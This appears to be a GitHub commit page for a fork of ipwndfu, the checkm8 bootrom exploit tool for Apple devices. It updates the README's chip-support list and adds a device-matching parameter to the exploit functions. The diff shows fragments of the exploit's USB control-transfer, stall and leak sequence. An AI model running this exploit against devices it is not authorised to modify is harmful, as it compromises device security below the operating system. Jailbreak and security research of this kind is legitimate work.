Skip to content

Commit 50daf55

Browse files
authored
Merge pull request #3 from cxnder/master
[WIP] Myriad changes, see comments
2 parents a43cd5d + 87b5ee3 commit 50daf55

File tree

5 files changed

+629
-523
lines changed

5 files changed

+629
-523
lines changed

README.md

Lines changed: 10 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -8,10 +8,7 @@
88

99
## About this fork
1010

11-
This fork only supports the t8012 chip. It is based on
12-
[LinusHenze's ipwndfu patches](https://github.com/LinusHenze/ipwndfu_public), which allow it to boot iBoot without
13-
destroying the heap. A simple patch that allows you to boot any extracted iBoot image (without the img4 wrapper) is
14-
provided in `nop_image4.py`, which was based on LinusHenze's `rmsigchks.py`.
11+
This fork is maintained by the hack-different team and is gladly accepting PRs from the wider community.
1512

1613
## checkm8
1714

@@ -21,9 +18,9 @@ provided in `nop_image4.py`, which was based on LinusHenze's `rmsigchks.py`.
2118

2219
* allows dumping SecureROM, decrypting keybags for iOS firmware, and demoting device for JTAG
2320

24-
* current SoC support: s5l8947x, s5l8950x, s5l8955x, s5l8960x, t8002, t8004, t8010, t8011, t8015
21+
* current SoC support: s5l8947x, s5l8950x, s5l8955x, s5l8960x, t7000, s8000, t8002, s8003, t8004, t8010, t8011, t8012, t8015
2522

26-
* future SoC support: s5l8940x, s5l8942x, s5l8945x, s5l8747x, t7000, t7001, s7002, s8000, s8001, s8003, t8012
23+
* future SoC support: s5l8940x, s5l8942x, s5l8945x, s5l8747x, t7001, s7002, s8001
2724

2825
* full jailbreak with Cydia on latest iOS version is possible, but requires additional work
2926

@@ -39,6 +36,13 @@ provided in `nop_image4.py`, which was based on LinusHenze's `rmsigchks.py`.
3936

4037
5. Run ```./ipwndfu --demote``` to demote device and enable JTAG.
4138

39+
## About this fork (addendum)
40+
41+
This fork supports the t8012 chip. It is based on
42+
[LinusHenze's ipwndfu patches](https://github.com/LinusHenze/ipwndfu_public), which allow it to boot iBoot without
43+
destroying the heap. A simple patch that allows you to boot any extracted iBoot image (without the img4 wrapper) is
44+
provided in `nop_image4.py`, which was based on LinusHenze's `rmsigchks.py`.
45+
4246
## Features
4347

4448
* Jailbreak and downgrade iPhone 3GS (new bootrom) with alloc8 untethered bootrom exploit. :-)

checkm8.py

Lines changed: 10 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -626,10 +626,10 @@ def exploit_config(serial_number):
626626
sys.exit(1)
627627

628628

629-
def exploit():
629+
def exploit(match=None):
630630
print('*** checkm8 exploit by axi0mX ***')
631631

632-
device = dfu.acquire_device()
632+
device = dfu.acquire_device(match=match)
633633
start = time.time()
634634
print('Found:', device.serial_number)
635635
if 'PWND:[' in device.serial_number:
@@ -651,7 +651,7 @@ def exploit():
651651
dfu.usb_reset(device)
652652
dfu.release_device(device)
653653

654-
device = dfu.acquire_device()
654+
device = dfu.acquire_device(match=match)
655655
device.serial_number
656656
libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 0.0001)
657657

@@ -662,7 +662,7 @@ def exploit():
662662

663663
time.sleep(0.8)
664664

665-
device = dfu.acquire_device()
665+
device = dfu.acquire_device(match=match)
666666
usb_req_stall(device)
667667
if config.large_leak is not None:
668668
usb_req_leak(device)
@@ -675,18 +675,18 @@ def exploit():
675675
dfu.usb_reset(device)
676676
dfu.release_device(device)
677677

678-
device = dfu.acquire_device()
678+
device = dfu.acquire_device(match=match)
679679
if 'PWND:[checkm8]' not in device.serial_number:
680680
print('ERROR: Exploit failed. Device did not enter pwned DFU Mode.')
681681
sys.exit(1)
682682
print('Device is now in pwned DFU Mode.')
683683
print('(%0.2f seconds)' % (time.time() - start))
684684
dfu.release_device(device)
685685

686-
def exploit_a8_a9():
686+
def exploit_a8_a9(match=None):
687687
print('*** checkm8 exploit by axi0mX ***')
688688

689-
device = dfu.acquire_device()
689+
device = dfu.acquire_device(match=match)
690690
start = time.time()
691691
print('Found:', device.serial_number)
692692
if 'PWND:[' in device.serial_number:
@@ -707,7 +707,7 @@ def exploit_a8_a9():
707707
dfu.usb_reset(device)
708708
dfu.release_device(device)
709709

710-
device = dfu.acquire_device()
710+
device = dfu.acquire_device(match=match)
711711
device.serial_number
712712
libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 0.0001)
713713
libusb1_no_error_ctrl_transfer(device, 0, 0, 0, 0, 'A' * padding, 10)
@@ -716,7 +716,7 @@ def exploit_a8_a9():
716716

717717
time.sleep(0.5)
718718

719-
device = dfu.acquire_device()
719+
device = dfu.acquire_device(match=match)
720720
usb_req_stall(device)
721721
usb_req_leak(device)
722722
usb_req_leak(device)
@@ -727,7 +727,7 @@ def exploit_a8_a9():
727727
dfu.usb_reset(device)
728728
dfu.release_device(device)
729729

730-
device = dfu.acquire_device()
730+
device = dfu.acquire_device(match=match)
731731
if 'PWND:[checkm8]' not in device.serial_number:
732732
print('ERROR: Exploit failed. Device did not enter pwned DFU Mode.')
733733
sys.exit(1)

0 commit comments

Comments
 (0)